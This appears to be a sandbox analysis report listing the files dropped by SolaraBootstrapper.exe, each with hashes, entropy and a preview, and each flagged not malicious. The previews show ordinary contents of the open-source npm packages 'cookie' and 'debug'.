Preview:	(The MIT License)..Copyright (c) 2012-2014 Roman Shtylman <shtylman@gmail.com>.Copyright (c) 2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES O

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	11769
Entropy (8bit):	5.114793125993712
Encrypted:	false
SSDEEP:	192:gC6nTuN1D5AKINreMblbEnV4zrhw5lPOkRHPL+gqdd7SHlxlmzrMtCT8+cNkq:QuN1D+9eMbFES36RHPL+b8xQTimq
MD5:	683E2286B5CB5BD1B4B36866F573A29F
SHA1:	A4D68D3F76512C87CFBCF6A6E553876D1980A6E8
SHA-256:	BA8B36C7D860D6EF37887B6EF496A486E91AEFE5229F65157CC8B44725B9BEC5
SHA-512:	8F6FA08988CABC1D90F6523D3CA2D09E89622AECBF2E954E67241A076F43D3DB0ECA3BB16B28CD0259E851305631F8DC42299A78AA400CE0623AC90B7C56C218
Malicious:	false
Preview:	# cookie..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Build Status][ci-image]][ci-url].[![Coverage Status][coveralls-image]][coveralls-url]..Basic HTTP cookie parser and serializer for HTTP servers...## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install cookie.```..## API..```js.var cookie = require('cookie');.```..### cookie.parse(str, options)..Parse an HTTP `Cookie` header string and returning an object of all cookie name-value pairs..The `str` argument is the string representing a `Cookie` header value and `options` is an.optional object containing additional parsing options...```js.var cookies = cookie.parse('foo=bar; equation=E%3Dmc%5E2');.// { foo: 'bar', equation

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie\SECURITY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	4.461471767918752
Encrypted:	false
SSDEEP:	24:1NR7oSZ8gGzR+KHbH1aKW/DF925a/7kJyEyF0eOCYunEfu7WR:1N7SFHD1f7a/7xPYun7WR
MD5:	440BDB14ABCAA77716CE2626BFA310ED
SHA1:	C2F87463A8FA153254C21500E1B906C64A813AD9
SHA-256:	299F5E632CCB1AE2D74F95DAC09DB13D7FF46C482663B67032E3E72CBE376276
SHA-512:	5AA058B78CEABD8B0C9B9453023706C916E7277C482ECD3621CE3DA3623702FBF540114D2E904301FF30BF36C38C5AF5D29940021F3C0AD9BC267D4D2861681C
Malicious:	false
Preview:	# Security Policies and Procedures..## Reporting a Bug..The `cookie` team and community take all security bugs seriously. Thank.you for improving the security of the project. We appreciate your efforts and.responsible disclosure and will make every effort to acknowledge your.contributions...Report security bugs by emailing the current owner(s) of `cookie`. This.information can be found in the npm registry using the command.`npm owner ls cookie`..If unsure or unable to get the information from the above, open an issue.in the [project issue tracker](https://github.com/jshttp/cookie/issues).asking for the current contact information...To ensure the timely response to your report, please ensure that the entirety.of the report is contained within the email body and not solely behind a web.link or an attachment...At least one owner will acknowledge your email within 48 hours, and will send a.more detailed response within 48 hours indicating the next steps in handling.your report. After the i

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5281
Entropy (8bit):	4.84462495731072
Encrypted:	false
SSDEEP:	96:sdChhqAp9V3vGycd6mDxj64MRHMqwa+8g+3ndAVVJiN9B2RQhAh++xctZt1Y1JzI:G+hqmP3ObxlvodnwRQhAU+it9szI
MD5:	DB5DEDA6183845891FE9B5667CDE042D
SHA1:	EE23AB87C951B0D3E3CDF1D6072A126A84491335
SHA-256:	9FD02358EABDF6C27B388DFDFF94061655620A352253BFC5B01EE4CC30CA36B5
SHA-512:	1B6957F2EF28C5D4E14E02E8D6FEA08D7210C0F2EB9DE4788799FCC57D806998448622145CA45F0F605DB447D97BE982C62211535BF421D8C02D9E384E7DB339
Malicious:	false
Preview:	/!. cookie. * Copyright(c) 2012-2014 Roman Shtylman. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..exports.parse = parse;.exports.serialize = serialize;../. Module variables.. * @private. /..var __toString = Object.prototype.toString../. RegExp to match field-content in RFC 7230 sec 3.2. . field-content = field-vchar [ 1( SP / HTAB ) field-vchar ]. field-vchar = VCHAR / obs-text. * obs-text = %x80-FF. /..var fieldContentRegExp = /^[\u0009\u0020-\u007e\u0080-\u00ff]+$/;../. Parse a cookie header.. . Parse the given cookie header string into an object. * The object has the various cookies as keys(names) => values. . @param {string} str. * @param {object} [options]. * @return {object}. * @public. */..function parse(str, options) {. if (typeof str !== 'string') {. throw new TypeError('argument str must be a string');. }.. var obj = {}. var opt = options \|\| {};. var dec =

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1142
Entropy (8bit):	4.870340029772203
Encrypted:	false
SSDEEP:	24:Dq61XTNyxV3fP6iaYWEwq1EabkB6T+lwZKLAw23VV105P6u:DqWXpUV3fSia/E1eabG0+qo0wmV/03
MD5:	D55AA6BD2733CA1031186952D1485F43
SHA1:	DD82A1CEA772234696F0489AECACFE9AA8FF943E
SHA-256:	E740B0E5656B2029FB858BC93B10312DFF16374283A2ECD9CAA90848190DFF88
SHA-512:	E4324126170C2A6D4E01F7BD8774A26BABC5ABFF86692F283BF691E2B435F6B6F2823179E080AABDE20D368BB26707A726D54C8D64E7838E215CEF074C499598
Malicious:	false
Preview:	{. "name": "cookie",. "description": "HTTP server cookie parsing and serialization",. "version": "0.6.0",. "author": "Roman Shtylman <shtylman@gmail.com>",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>". ],. "license": "MIT",. "keywords": [. "cookie",. "cookies". ],. "repository": "jshttp/cookie",. "devDependencies": {. "beautify-benchmark": "0.2.4",. "benchmark": "2.1.4",. "eslint": "8.53.0",. "eslint-plugin-markdown": "3.0.1",. "mocha": "10.2.0",. "nyc": "15.1.0",. "safe-buffer": "5.2.1",. "top-sites": "1.1.194". },. "files": [. "HISTORY.md",. "LICENSE",. "README.md",. "SECURITY.md",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "bench": "node benchmark/index.js",. "lint": "eslint .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-ci": "nyc --reporter=lcov --reporter=text npm test",. "test-cov": "nyc --reporter=html --reporter=text np

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\.coveralls.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.958344564752663
Encrypted:	false
SSDEEP:	3:ivutBdRgtojoV3Mv:ivuvdydV3Mv
MD5:	55352D85883681DF5F0FA66D3F32A872
SHA1:	90709E4FB4CE17729974B3A140CCBF330519835C
SHA-256:	64E6B64F19837A76C30865579AABDDE1A825729AE0204BA73BA6DE77296CE18E
SHA-512:	BD3F23A4D44A5DF32AE36277D55BF3335D4E8A2954B2AE2DB3167996058B8C6D1E74C2DD9DD2C934BC1D70C15C026FC075A53D47E7B856750047FB86F6B22F58
Malicious:	false
Preview:	repo_token: SIAeZjKYlHK74rbcFvNHMUzjRiMpflxve.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	180
Entropy (8bit):	4.301685598072847
Encrypted:	false
SSDEEP:	3:rtwFlZWyLQ+PL9FqnXxueHFpTJMHF9LTRI+QMHEHukERGPRiJAdRTTCFQGK1AMKn:rtw++hF+huwiC+QGMukELAdBN5K
MD5:	F69AF9893C473D8E925169156A42F70C
SHA1:	8D154AEDDF66A7BCBD433E3C619F76BB0D920AE2
SHA-256:	7B7D5A5736DDDAE0E7CF1C06CDF41DDD9F98E73DB8F57A18FE4C9BD0F52F9AA3
SHA-512:	4239496B31071B799E30DCC18A05E6E95279799418A97DD57141A4D0F07EE0DDB057E09CB13C30C400202474B61E71175495B3CC411747ADE097D12F4EE87DD0
Malicious:	false
Preview:	{. "env": {. "browser": true,. "node": true. },. "rules": {. "no-console": 0,. "no-empty": [1, { "allowEmptyCatch": true }]. },. "extends": "eslint:recommended".}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\.npmignore

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.255848091329463
Encrypted:	false
SSDEEP:	3:vKXRvRzRxUmJK6OXBd2ffYR:vQvHvjIEm
MD5:	B0205B7904BEF0AD0B403FBCF4F57434
SHA1:	90FEF7CC1058BD0F85B0959C4FCD49230A29593E
SHA-256:	F4580152A6F48954B44CB2A0A002FA500467663DB5A6DC8E796B52533DC04EC1
SHA-512:	FD7F6D36580B9F9D94247FB4EC398C7BFE7715399D11A1D6FA1EFC51E95405EE8F5E6559C5861B0D032AB425F0DE24C7E84BB4C03594E715FA21CD47461A69B4
Malicious:	false
Preview:	support.test.examples.example.*.sock.dist.yarn.lock.coverage.bower.json.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\.travis.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	140
Entropy (8bit):	4.230134094195066
Encrypted:	false
SSDEEP:	3:M6FvLgCFq/zvRLjot6/FyFwxIFQZWv:ppgCcLvRL8INyFWIFQov
MD5:	75C6CBB25B2A5720C8663637A2678879
SHA1:	E87A69A064F6A95B166333D46B919AFBC5487F59
SHA-256:	839E44EE0A96A3E302DC6472800B51822982B77D08F19200AB2CC70534781FD8
SHA-512:	9FEE1C0DF8C2098D418BA0816E47EEFE46063E5DC62D5B9B9B2DC951968627F4E5B53B7C27F42FB6C8CAAC0AF10E3BD4C32526913C3B467E6059237601A77DE0
Malicious:	false
Preview:	.language: node_js.node_js:. - "6". - "5". - "4"..install:. - make node_modules..script:. - make lint. - make test. - make coveralls.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11707
Entropy (8bit):	5.135546321275976
Encrypted:	false
SSDEEP:	192:YN/f0WRrJMcqETq2JRkAbvugBtQsxdsE/6uXIveiGIF6Ta6:YNUkMcq/iRkKug/QsxOEyuYveiPCR
MD5:	504A70C7EB9EBA0C4B26965CF4D252C6
SHA1:	C35E6A85B4A8732EC8AF63BEEA964483E1B2DD94
SHA-256:	D8C1B0717964E189010B13521379C3B970EECC889CB8B788AC21D8DD85247165
SHA-512:	CB9836AF90C63DEEAF5C2DD5085685B3213B3579337D69F9B44DFB5C61C6BFFA5A940C4D9E9B8BB8DF4A845C0F7008077FA35598B27FE45079FB921FE8528E50
Malicious:	false
Preview:	.2.6.9 / 2017-09-22.==================.. * remove ReDoS regexp in %o formatter (#504)..2.6.8 / 2017-05-18.==================.. * Fix: Check for undefined on browser globals (#462, @marbemac)..2.6.7 / 2017-05-16.==================.. * Fix: Update ms to 2.0.0 to fix regular expression denial of service vulnerability (#458, @hubdotcom). * Fix: Inline extend function in node implementation (#452, @dougwilson). * Docs: Fix typo (#455, @msasad)..2.6.5 / 2017-04-27.==================. . * Fix: null reference check on window.documentElement.style.WebkitAppearance (#447, @thebigredgeek). * Misc: clean up browser reference checks (#447, @thebigredgeek). * Misc: add npm-debug.log to .gitignore (@thebigredgeek)...2.6.4 / 2017-04-20.==================.. * Fix: bug that would occure if process.env.DEBUG is a non-string value. (#444, @LucianBuzzo). * Chore: ignore bower.json in npm installations. (#437, @joaovieira). * Misc: update "ms" to v0.7.3 (@tootallnate)..2.6.3 / 2017-03-13.=======

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	5.12256218715534
Encrypted:	false
SSDEEP:	24:kr4/HHHP0yPP3gtqHw1hH9MPHcv48Ok4MdboHoqDFz:k8/vlPvERdMPHhIjcHoOFz
MD5:	DDD815A475E7338B0BE7A14D8EE35A99
SHA1:	D16A2786962571280A11CAE01D5E59AEB1351C9A
SHA-256:	98C970DE440DCFC77471610AEC2377C9D9B0DB2B3BE6D1ADD524A586E1D7F422
SHA-512:	47B612EF4E93F1AF62891E295E9FBAC05E02CF1726F56C36FAD5314376E28CBCAF7C8355527BC0BDA54C26CBE097BC8CA5CB4F79AA9E3AB6F1D875DCA41D4AAC
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014 TJ Holowaychuk <tj@vision-media.ca>..Permission is hereby granted, free of charge, to any person obtaining a copy of this software .and associated documentation files (the 'Software'), to deal in the Software without restriction, .including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, .and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,.subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial .portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT .LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. .IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, .WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWIS

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\Makefile

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1059
Entropy (8bit):	5.556812469512553
Encrypted:	false
SSDEEP:	24:0VZxRBMWsQWs17QHHi0cEsvnxLMkcyacxH6kjS4zwbjhNav+yx6bn/JygknmhrU:mZjLsQWs5GHildvnWk5ach6kb1un/Jy/
MD5:	F8739CAB4AE015EE84820716A8AC193A
SHA1:	89EB5A7B8385734EF7FF4F910D4605CDE0BC12FD
SHA-256:	F6466507E02C62F14E477AF08E4A13EC883152B54D87FEEFFB8F0D6DE6E9013B
SHA-512:	EF875B744303169B5600CE5C42A0791A38BF933983F5011BA2EA9560AC5449E6FE9D4AE706EFC970B40096B9533A425FFC53265353EAD256BE44606790688BF1
Malicious:	false
Preview:	# get Makefile directory name: http://stackoverflow.com/a/5982798/376773.THIS_MAKEFILE_PATH:=$(word $(words $(MAKEFILE_LIST)),$(MAKEFILE_LIST)).THIS_DIR:=$(shell cd $(dir $(THIS_MAKEFILE_PATH));pwd)..# BIN directory.BIN := $(THIS_DIR)/node_modules/.bin..# Path.PATH := node_modules/.bin:$(PATH).SHELL := /bin/bash..# applications.NODE ?= $(shell which node).YARN ?= $(shell which yarn).PKG ?= $(if $(YARN),$(YARN),$(NODE) $(shell which npm)).BROWSERIFY ?= $(NODE) $(BIN)/browserify...FORCE:..install: node_modules..node_modules: package.json..@NODE_ENV= $(PKG) install..@touch node_modules..lint: .FORCE..eslint browser.js debug.js index.js node.js..test-node: .FORCE..istanbul cover node_modules/mocha/bin/_mocha -- test/**.js..test-browser: .FORCE..mkdir -p dist...@$(BROWSERIFY) \...--standalone debug \.... > dist/debug.js...karma start --single-run..rimraf dist..test: .FORCE..concurrently \..."make test-node" \..."make test-browser"..coveralls:..cat ./coverage/lcov.info \| ./node_modules/cover

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (475)
Category:	dropped
Size (bytes):	17918
Entropy (8bit):	5.215109378560089
Encrypted:	false
SSDEEP:	192:H6R76Zbt7yJXxRrHQbSb4BDyzWM/XAoxIM6jep2JVhgu9o8ZT/ueXBEgdjaSjVwo:U7DxRrqB4rxIMajJVeqaxq3
MD5:	03694893D682191B3C893701BA6F4A55
SHA1:	38096A9C10830714695A97A8501B817EB0A7534E
SHA-256:	CDA3DBD285A2B65894758565A565E7BC2E7C3696225AF7B5BD01454240DF0AEA
SHA-512:	3B80EA8A912EC4DDF1A1E2FC3F3EBD8F4BC6F591F9B2732694CB5627C549D7911C1A6EB82AB68AC025E13E090B3E39B8B4AE66A9159F45696B6343CE76213F54
Malicious:	false
Preview:	# debug.[![Build Status](https://travis-ci.org/visionmedia/debug.svg?branch=master)](https://travis-ci.org/visionmedia/debug) [![Coverage Status](https://coveralls.io/repos/github/visionmedia/debug/badge.svg?branch=master)](https://coveralls.io/github/visionmedia/debug?branch=master) [![Slack](https://visionmedia-community-slackin.now.sh/badge.svg)](https://visionmedia-community-slackin.now.sh/) [![OpenCollective](https://opencollective.com/debug/backers/badge.svg)](#backers) .[![OpenCollective](https://opencollective.com/debug/sponsors/badge.svg)](#sponsors)....A tiny node.js debugging utility modelled after node core's debugging technique...Discussion around the V3 API is under way [here](https://github.com/visionmedia/debug/issues/370)..## Installation..```bash.$ npm install debug.```..## Usage..`debug` exposes a function; simply pass this function the name of your module, and it will return a decorated version of `console.error` for you to pass debug statements to. This will

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\component.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	321
Entropy (8bit):	4.465851094571166
Encrypted:	false
SSDEEP:	6:vX6aLWJd/k9ExRcUS1YpuXH+HQ6MEwHQJIxKHlOXdHhXdBA7SF9CVNkQ:SaLAh3XI1YpYY5MNsSKOdhdBAmCJ
MD5:	510AF4D67A35446E6DCCEA1429399C3A
SHA1:	4963889B7905ABD5A8955B8D27C3079E2D449564
SHA-256:	2E5AB9AE90F41699E00D00FCA16765024F437300A0568C2208669CC281BA7656
SHA-512:	BB8D1E0E4C99A82D32FB40DAA9A79E2ABF3A3F495B3DC9AFA883021110B3CA9EB93E052D71E98D6494722DF947EC280D66F4BCA36BB0AE975F05D710E8C47415
Malicious:	false
Preview:	{. "name": "debug",. "repo": "visionmedia/debug",. "description": "small debugging utility",. "version": "2.6.9",. "keywords": [. "debug",. "log",. "debugger". ],. "main": "src/browser.js",. "scripts": [. "src/browser.js",. "src/debug.js". ],. "dependencies": {. "rauchg/ms.js": "0.7.1". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\karma.conf.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	4.788611478595854
Encrypted:	false
SSDEEP:	48:NV32rh/3Q68+ZPnSBKAjzdKT9lqgGU2HHPgb5LtGg:n32V/3p8+ZPcKo1fg
MD5:	06F3BABBDC43C6C4DD1493B6C1AF32E2
SHA1:	93FEF7CF3ED6F04D2CFC3CD0B8D5D972D35CFD29
SHA-256:	2430869ADB61A5E24A3612110A9B49A948E6DB43AB7E947C003A9C19C478E609
SHA-512:	AD65132ED6F675F6F318FEFA36F4E6C23F3FF4DC47D02575F6D5BEF7B062A2E90AEA1A43DD5327C2565BE3D834C969FF2AE3EFDB2ADD4A958882A6F056F659EA
Malicious:	false
Preview:	// Karma configuration.// Generated on Fri Dec 16 2016 13:09:51 GMT+0000 (UTC)..module.exports = function(config) {. config.set({.. // base path that will be used to resolve all patterns (eg. files, exclude). basePath: '',... // frameworks to use. // available frameworks: https://npmjs.org/browse/keyword/karma-adapter. frameworks: ['mocha', 'chai', 'sinon'],... // list of files / patterns to load in the browser. files: [. 'dist/debug.js',. 'test/*spec.js'. ],... // list of files to exclude. exclude: [. 'src/node.js'. ],... // preprocess matching files before serving them to the browser. // available preprocessors: https://npmjs.org/browse/keyword/karma-preprocessor. preprocessors: {. },.. // test results reporter to use. // possible values: 'dots', 'progress'. // available reporters: https://npmjs.org/browse/keyword/karma-reporter. reporters: ['progress'],... // web server port. port: 9876,... // enable /

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\node.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.362814895472354
Encrypted:	false
SSDEEP:	3:3BBBbJCfv:xBBa
MD5:	79F3814F32362C1C6F9DBB8A1E3B01BF
SHA1:	AA7655EE80C9A485313675F9379C2F18D33EA061
SHA-256:	996B381F353555CB172EBB2802BB2A7323442FF67B7B530CC26834058D7F31A2
SHA-512:	61367EC2AFF9349E203A295FE1BC28FADDC6D80B556660F56EA49D6625D6228212FE82D7398114509A3B8D9AD4026429F0EBB849579C7481928F47F37C8632D5
Malicious:	false
Preview:	module.exports = require('./src/node');.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1138
Entropy (8bit):	4.7852828549554145
Encrypted:	false
SSDEEP:	24:S11clxHa5MNsrtxd7dNYeUPANZJW1kWmYWJUYUeL5r:Sf0xOhfdZNfUPA5W1kWcPUO
MD5:	71A7656944FFE50CC27EBE02491AE49B
SHA1:	8EBF0F80660D982FC68F00F82855696157E74B10
SHA-256:	6C3D2C892DB282317913CE7C340DD2EDCCD326BCAFD18B644B8738144967D6EE
SHA-512:	5B0010B41304E212A22D2C89EFF65CE410B000C71C4AB8C7FDBA8F549BA0629FE27F37C142058B041FB889BC73E00959AD58F673866EE7D29724687DA3C3F320
Malicious:	false
Preview:	{. "name": "debug",. "version": "2.6.9",. "repository": {. "type": "git",. "url": "git://github.com/visionmedia/debug.git". },. "description": "small debugging utility",. "keywords": [. "debug",. "log",. "debugger". ],. "author": "TJ Holowaychuk <tj@vision-media.ca>",. "contributors": [. "Nathan Rajlich <nathan@tootallnate.net> (http://n8.io)",. "Andrew Rhyne <rhyneandrew@gmail.com>". ],. "license": "MIT",. "dependencies": {. "ms": "2.0.0". },. "devDependencies": {. "browserify": "9.0.3",. "chai": "^3.5.0",. "concurrently": "^3.1.0",. "coveralls": "^2.11.15",. "eslint": "^3.12.1",. "istanbul": "^0.4.5",. "karma": "^1.3.0",. "karma-chai": "^0.1.0",. "karma-mocha": "^1.3.0",. "karma-phantomjs-launcher": "^1.0.2",. "karma-sinon": "^1.0.5",. "mocha": "^3.2.0",. "mocha-lcov-reporter": "^1.2.0",. "rimraf": "^2.5.4",. "sinon": "^1.17.6",. "sinon-chai": "^2.8.0". },. "main": "./src/index.js",. "browser": "

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\src\browser.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4734
Entropy (8bit):	4.98143252477633
Encrypted:	false
SSDEEP:	96:Yl2YeMOqXjS+qBAyJN3spJaRCWqS9KynCYBPVQPVI8rxjpXTjjnZwEKlTDDFanP/:EHX2+FyisIWznCwPVQPVIIlpDjjnZwju
MD5:	62CFEE6D6DD5FFEC5D3ED35073791AEC
SHA1:	C41ADC79487F377D3DFB397C531812FB9CC429A2
SHA-256:	0144AB6A52B9330C567DE11A5C3A4AEA35CDAC47A4C106482AA24AE8054CDC6F
SHA-512:	920AEA250D98E29E8005EF0185DF5E34BC426D321785DF07CBABACE60BDBCFC6C92E2FF0C9F226A54925D2C7D595035EFEABABC935C7F1A4C704E7A7EF641339
Malicious:	false
Preview:	/*. This is the web browser implementation of `debug()`.. . Expose `debug()` as the module.. /..exports = module.exports = require('./debug');.exports.log = log;.exports.formatArgs = formatArgs;.exports.save = save;.exports.load = load;.exports.useColors = useColors;.exports.storage = 'undefined' != typeof chrome. && 'undefined' != typeof chrome.storage. ? chrome.storage.local. : localstorage();../. Colors.. /..exports.colors = [. 'lightseagreen',. 'forestgreen',. 'goldenrod',. 'dodgerblue',. 'darkorchid',. 'crimson'.];../. Currently only WebKit-based Web Inspectors, Firefox >= v31,. * and the Firebug extension (any Firefox version) are known. * to support "%c" CSS customizations.. . TODO: add a `localStorage` variable to explicitly enable/disable colors. */..function useColors() {. // NB: In an Electron preload script, document will be defined but not fully. // initialized. Since we know we're in Chrome, we'll

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\src\debug.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4394
Entropy (8bit):	4.818652396947732
Encrypted:	false
SSDEEP:	96:TlGI0EEQUGReeJ57vPukDprmTC70WWnuOV123LwdVVktI15wHlL6ci6:JR7Jprp70JX23KVVkWsHZ06
MD5:	74BDCCF347345D27FE8A4AC3ADD99C60
SHA1:	A2B8A915C86FC750F56A7137860F19EC1182EE21
SHA-256:	D8D1C1D6C387AB67C3F28D78FD0B20B9BECD69442DB9D3EFE110CA464B509C8A
SHA-512:	C2D47EFEE2A4442BE6375D623F46B4C7EE9552C132B9229EB284BDD98629EDD02664167805B0AF9B3FAAA9B1906E9ED0C5E383396D4995CEF7051F9A450E1B99
Malicious:	false
Preview:	./*. This is the common logic for both the Node.js and web browser. * implementations of `debug()`.. . Expose `debug()` as the module.. /..exports = module.exports = createDebug.debug = createDebug['default'] = createDebug;.exports.coerce = coerce;.exports.disable = disable;.exports.enable = enable;.exports.enabled = enabled;.exports.humanize = require('ms');../. The currently active debug mode names, and names to skip.. /..exports.names = [];.exports.skips = [];../. Map of special "%n" handling functions, for the debug "format" argument.. . Valid key names are a single, lower or upper-case letter, i.e. "n" and "N".. /..exports.formatters = {};../. Previous log timestamp.. /..var prevTime;../. Select a color.. * @param {String} namespace. * @return {Number}. * @api private. */..function selectColor(namespace) {. var hash = 0, i;.. for (i in namespace) {. hash = ((hash << 5) - hash) + namespace.charCodeAt(i);. hash \|= 0; // Convert to 32bit integer.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\src\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	263
Entropy (8bit):	4.632071401695598
Encrypted:	false
SSDEEP:	3:UV9WQYXu2CXK/FzGXMC4dF2PvbhEAS30vaFAVhVEE71ADKL5DVg6VAi1LKLkyBbb:U+DX74LNSkvaFwDEEtU6nsLZBf3bjBOY
MD5:	DD13897EA2EED92695BB7E4E744A9148
SHA1:	182314D32E789E4F9C29E3150AE392F1630F171C
SHA-256:	9A34FEDEB2D269C46ED94E6F13039EB0D16D866DD460EC66FA3ACD78122FA9FE
SHA-512:	0B53BC984178336AC516601E72D477D2BEEEF6936800DA17D3A79C153E0036F7428517EBD75D296729F65856C7E07749029F5AA192B2AC071EFC4D3E39750A32
Malicious:	false
Preview:	/*. Detect Electron renderer process, which is node, but we should. * treat as a browser.. */..if (typeof process !== 'undefined' && process.type === 'renderer') {. module.exports = require('./browser.js');.} else {. module.exports = require('./node.js');.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\src\inspector-log.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	373
Entropy (8bit):	4.732381821992279
Encrypted:	false
SSDEEP:	6:xBBzsUKU2aEmL3L3MHOMcGLuGIOWA9zFtqMKKb1dCWB6kmG7TNXxn:xBBgARbDL3GF/ut/G6q1L4Ux
MD5:	B22697B673C7C3586F22AE0206258FDE
SHA1:	B2F2996B1F38B6CEC0B1746BE6CFE458F2585EAC
SHA-256:	949AE67EC1B655694F83DCE57D47D9D77234F9E7D698616932A90E69C7AFEE91
SHA-512:	4FFD89DBC519A1F6C2F56A1B26F1AAD445DF8D5096DA1453645DBB67DC58B17AE9143906357CA4AF60059740C3BA34F7233049652B805D1AFED3FD206CD55A0C
Malicious:	false
Preview:	module.exports = inspectorLog;..// black hole.const nullStream = new (require('stream').Writable)();.nullStream._write = () => {};../*. Outputs a `console.log()` to the Node.js Inspector console only.. */.function inspectorLog() {. const stdout = console._stdout;. console._stdout = nullStream;. console.log.apply(console, arguments);. console._stdout = stdout;.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\src\node.js

Download File

